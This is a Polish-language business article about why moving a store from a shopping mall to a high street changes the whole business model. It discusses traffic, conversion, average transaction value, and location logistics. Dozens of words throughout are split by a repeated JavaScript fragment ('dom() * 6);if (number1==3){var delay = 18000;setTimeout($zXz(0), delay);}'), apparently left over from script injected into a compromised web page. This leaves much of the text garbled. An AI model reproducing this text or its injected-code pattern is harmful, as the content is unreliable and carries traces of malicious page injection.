Pomysł wydaje się prosty. Klienci coraz rzadziej przychodzą do galerii handlowych, trzeba więc za nimi podążyć tam, gdzie nadal można ich znaleźć, najczęściej na ulice handlowe czy w Internecie. Internet dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zupełnie inna his dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toria, ale jak przebiegać może przenoszenie sklepów na ulice? Czy wystarczy wynająć lokal, ewentualnie dbając o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, aby był na uczęszczanej ulicy? To nie jest takie proste. Zmienia się bowiem cały model działania firmy, poczynając od sposobu generowania ruchu, kończąc na strukturze kosztów. I taki sam sklep, jeśli się nie dos dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosuje, nagle przestaje być zyskowny.
Każda firma jakoś działa
To działanie można opisać w uproszczony sposób, sprowadzając je do najważniejszych elementów i relacji między nimi. Tak właśnie powstaje Model Biznesowy. To uproszczony opis firmy, ale dzięki temu uproszczeniu dobrze pokazuje, co jest w firmie najważniejsze, dzięki czemu wygrywa i dzięki czemu jest ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towna.
Model Biznesowy stanowi obudowę dla przewagi konkurencyjnej, bez której ta by w ogóle nie zaistniała. To przewaga jest pierwotnym źródłem sukcesu firmy, ale też bez Modelu w ogóle by nie zaistniała. Firmy mogą obejść się bez przewagi, ale tylko przez jakiś czas, jeśli perfekcyjnie wykonują swój Model Biznesowy.
Dla firmy handlowej (a takie stanowią większość najemców w centrach handlowych) war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jeszcze wyróżnić szczególną część Modelu Biznesowego, tę część którą widzi i odczuwa klient końcowy, czyli Koncept Sprzedażowy. Z kolei najważniejszym składnikiem Konceptu Sprzedażowego jest sposób pozyskiwania i wykorzystywanie ruchu, w czym wspomaga go reszta Modelu Biznesowego.
Jednak nie sama liczba się liczy, liczy się także charakter odwiedzających. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to robi różnicę, tak dla Konceptu, jak i dla Modelu. Nawet jeśli ich liczba niewiele się różni od tej, jaką firma miała do tej pory w centrach handlowych, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to motyw ich przyjścia może być z gruntu inny. To ma kluczowe znaczenie do tego, jak firma przekształca odwiedzających w klientów i jak steruje ich zachowaniami. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to podstawa ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towności i przewagi konkurencyjnej każdej firmy handlowej.
Jak działa firma handlowa w centrum handlowym? Model Biznesowy każdej firmy handlowej zaczyna się od magicznej formuły sprzedaży, właśnie sposobu w jaki firma przekształca odwiedzających w klientów.
Magiczna formuła sprzedaży
To przedstawienie sprzedaży jako iloczynu 3-ch parametrów, odwiedzalności, konwersji i średniej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji. Te parametry nie tylko jednak składają się na sprzedaż, nimi można także sterować, muszą też być wspierane przez cały Model Biznesowy. I tego właśnie uczą się firmy w centrach handlowych, optymalnie wykorzystując dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to specyficzne środowisko.
Uwaga. „dlaczego magiczna formuła jest magiczna?” Gdyż działa, wiadomo jak działa, można nią sterować, ale tak do końca nie wiadomo, dlaczego działa akurat tak, psychologia klienta pozostaje tu niezgłębiona. To podejście statystyczne, w przeciwieństwie do podejścia psychologicznego, czego próbuje wielu sprzedawców.
Dla firm działających w centrach handlowych zarządzanie magiczną formułą sprzedaży wydaje się proste. Trzeba tylko znaleźć centrum o odpowiednim natężeniu ruchu i jeśli tylko czynsz będzie odpowiedni, nie może się nie udać. Tymczasem na ulicy handlowej nie wystarczy otworzyć taki sam sklep, jaki świetnie się sprawdza w centrum handlowym, może tylko nieco idąc na kompromis w sprawie jego wielkości czyli Formatu. W centrum handlowym dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to samo centrum ściągało większość klientów, w zamian za opłatę marketingową zawartą w czynszu.
Uwaga. „w czynszu jest zawarta opłata marketingowa za przyciąga nie ruchu przez lokalizację”. Tu płaci się tym więcej, im więcej przechodzi tam ludzi. To prawda tak dla centrum handlowego i samej lokalizacji już na jego terenie, jak i dla Ale ważne jest nie tylko za natężenie ruchu, ale i jego jakość.
Tymczasem na ulicy handlowej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tak nie działa, tu klientów trzeba przyciągnąć samemu, a z kolei sztuczki, które potrafiły wykorzystać przypadkowy ruch, przestają działać.
W sklepach wolnos dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tojących, a do takich można do pewnego s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topnia zaliczyć sklep na ulicy handlowej, magiczna formuła sprzedaży działa inaczej. A raczej działa tak samo, zmienia się jednak źródło i charakter ruchu, co is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totnie wpływa na jej poziom podstawowy, ale przede wszystkim na sposób sterowania nią. To zmienia znaną z centrum handlowego konwersję i średnią war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość transakcji, wpływa też na potencjał zmiany tych parametrów w efekcie sterowania sprzedażą. Dla tego sterowania kluczowa jest zmiana źródła odwiedzających.
Inne źródło odwiedzających
Jacy mogą być odwiedzający? W dużym uproszczeniu można ich podzielić na „docelowych”, którzy przyszli świadomie i wiedzą, czego chcą oraz „przypadkowych”, którzy znaleźli się tu przypadkiem. Ten podział nabiera szczególnego znaczenia dla sklepów w galeriach handlowych i wolnos dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tojących.
Nawet ci sami ludzie mogą być przypadkowi lub docelowi, w zależności od sytuacji i miejsca, w którym się znaleźli. W każdej firmie handlowej wśród klientów są i tacy, i tacy, tyle że ich proporcja może się bardzo zmienić.
Uwaga. „w galerii handlowej ci sami klienci szukają innego wina”. Klienci którzy w osiedlowym sklepie winiarskim starannie wybierają szczególną butelkę na wieczór, po tym jak trafią do centrum handlowego interesują się głównie promocjami cenowymi. Tak wpływa na nich zmiana o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczenia, z klienta „docelowego” zamieniają się w „przypadkowego”.
W galerii handlowej docelowych odwiedzających zwykle jest niewielu, a dominują ci przypadkowi. To zaś, jak skutecznie firma ich potrafi przyciągnąć (bardziej zachęcić do wejścia) i czy potrafi ich zamienić w kupujących częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to decyduje o przewadze konkurencyjnej nad tymi, którzy tego nie potrafią.
Na głównych ulicach handlowych z kolei więcej jest klientów docelowych, którzy dobrze wiedzą, po co przyszli. Ten powód przyjścia dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jeszcze nie musi być finalizacja transakcji, ale jedna z dwóch faz początkowych procesu zakupu (poszukiwanie informacji czy porównywanie produktów).
Zmiana lokalizacji placówki powinna się wiązać ze zmianą sposobu przyciągania i wykorzystywania klientów. Po przejściu na główną ulicę konwersja przestaje być królem, przez co umiejętność wykorzystania przypadkowych odwiedzających przestaje mieć znaczenie, choć wcześniej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to była podstawowa cecha Konceptu.
Znaczenia nabiera umiejętność przyciągania zdecydowanych klientów, a jeszcze bardziej umiejętność sprzedania im tego, na czym firmie zależy i najlepiej jak najwięcej. To zaś oznacza zupełnie inne kompetencje po stronie zarządzania sprzedażą i wsparcia Modelem Biznesowym. Znaczenie nabiera np. intensywna obsługa klienta, bardzo efektywna, ale trudna zarządczo i bardzo kosz dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towna, dlatego właśnie pomijana w konceptach w centrach handlowych.
Inna konwersja i średnia transakcja
Inna motywacja odwiedzających może zmienić nie tylko ich liczbę. Może także zmienić inne parametry magicznej formuły sprzedaży, w szczególności konwersję. To wszystko elementy Konceptu Sprzedażowego, który zupełnie się tu zmienia.
W centrach miast walka trwa o odwiedzalność, którą każdy musi sobie zapewnić w znacznie większym s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topniu niż w centrach handlowych. A gdy klient już się zjawi, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to walczy się mniej o konwersję (z natury wyższą niż w centrach handlowych), a dużo bardziej o średnią war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość transakcji.
Uwaga. „obsługowe i bezobsługowe sposoby sterowania sprzedażą”. Sprzedażą można sterować na te dwa sposoby. Jednak sterowanie bezobsługowe jest łatwiejsze, choć ma też mniejszy potencjał zmiany, więc wybiera go większość najemców w centrach handlowych. Odwiedzających jest tu dużo, więc nie trzeba się starać i ponosić dodatkowych kosztów. Na ulicy handlowej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to się zmienia, trudniejsze, ale bardziej skuteczne me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tody obsługowe są tu częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jedynym sposobem, aby wyjść na swoje. Klientów jest mniej, więc można się nimi lepiej zająć.
Konwersja. Na ulicy handlowej, gdzie dominują klienci zdecydowani, konwersja jest zwykle wyższa niż w centrach handlowych, gdzie jest wielu przypadkowych odwiedzających. Jednak mechanizmy, które firma wypracowała aby zamienić ich w kupujących, tu przestają się przydawać. Koszt i wysiłek pozostanie, za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to efekt będzie mizerny. Tu znana z centrów handlowych walka o konwersję staje się częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bardziej obciążeniem, niż szansą.
Średnia war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość transakcji. Na głównej ulicy handlowej zwykle średnia transakcja jest wyższa niż w centrum handlowym. Trochę dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zasługa matematyki, gdyż brakuje dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wielu drobnych impulsowych transakcji, które zwiększają konwersję, ale matematycznie obniżają średni paragon. Ale główny powód dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to fakt zas dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosowania (oby!) intensywnych me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tod obsługi klienta czyli obsługowych sposobów sterowania sprzedażą.
Jest jeszcze marża. Ona jest zawsze ważna, ale potencjał sterowania w lokalizacjach na ulicach handlowych wydaje się większy. Intensywna obsługa klienta pozwala namawiać klienta na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, na czym zależy firmie, do tego dodać wiele akcesoriów.
Zmiana sposobu pozyskiwania klientów jest kluczowa dla zmiany sposobu wybierania i akcep dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towania lokalizacji.
Jak wybierać lokalizację?
Dla firm przyzwyczajonych do centrów handlowych odpowiedź jest oczywista. Przecież otworzyli tak czasem już setki sklepów, najczęściej z sukcesem. Tym trudniej im będzie więc zaakcep dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować, że w przypadku sklepów wolnos dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tojących zasady zupełnie się zmieniają.
Kluczowe elementy umowy. A na co war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zwrócić uwagę przy podpisywaniu umowy? Tu też widać is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totne różnice między lokalizacją wolnos dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tojącą a centrum handlowym.
Te warunki umów muszą odzwierciedlać zupełnie inne warunki, w jakich firma zacznie działać.
Specyfika lokalizacji
Lokalizacja na ulicy handlowej stawia wyzwania, jakich wiele firm nie zna z doświadczenia w centrach handlowych.
Magazyn. Tu zwykle powierzchnia jest ograniczona, lokale są małe. Jeśli firma potrzebuje magazynu, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to musi się przygo dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować na niskie, skomplikowane i nie przys dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosowane do magazynowania powierzchnie. Rzadko można liczyć na rampę, a rozładunek będzie raczej ręczny. Do tego dochodzą obostrzenia w czasie i możliwości dostaw.
Dostawy. W centrach miast obowiązują ograniczenia co do godzin dostaw i do wielkości środków transportu, jakie mogą je dostarczyć. Dostawy zwykle muszą być częściej, za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w mniejszych partiach.
Godziny otwarcia. W centrum handlowym wszyscy otwierają się tak samo. Tu każdy decyduje o sobie, może się więc zdarzyć, że obok wszyscy będą zamknięci. Tym samym trudno liczyć na ruch generowany przez innych, raczej sama firma musi się o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zatroszczyć. Musi też te godziny wyraźnie zakomunikować.
Oznakowanie. W centrach handlowych dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ma znaczenie, ale klienci przychodzą przede wszystkim do centrum. W centrach miast oznakowanie zyskuje na znaczeniu, szczególnie w zakresie generowania ruchu docelowego.
Parking (albo inny dojazd). W centrum handlowym dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to centrum ma się o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to starać i na ogół wywiązuje się z tego zadania dobrze. W centrach miast zaparkować jest trudno, częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to też jest wręcz trudno dojechać. Tu znaczenia nabiera możliwość zaparkowania samochodu (czy ostatnio rowerów), czyli np. dostępność. Ważny jest też dostęp do komunikacji miejskiej, liczą się przystanki i układ komunikacji.
Sposób kupowania. W centrach miast, podobnie jak w centrach handlowych też zdarza się przypadkowy ruch, ale większość odwiedzających zjawia się po coś konkretnego. Tu mniej walczy się o konwersję, a bardziej o średnią war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość transakcji. Do tego sposobu kupowania musi się dos dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosować cały Model Biznesowy, a w szczególności Koncept Sprzedażowy.
Podsumowanie
Przeniesienie lokalizacji z centrum handlowego dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie tylko zmiana lokalizacji takiej samej placówki. To zmiana całego Modelu Biznesowego, z czego większość firm nie zdaje sobie sprawy. Jeśli się zdecydują na taki krok, w pogoni za klientami, mogą przeżyć gorzkie rozczarowanie. Placówki, które do tej pory doskonale się sprawdzały, nagle zaczną mieć kłopoty z ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}townością.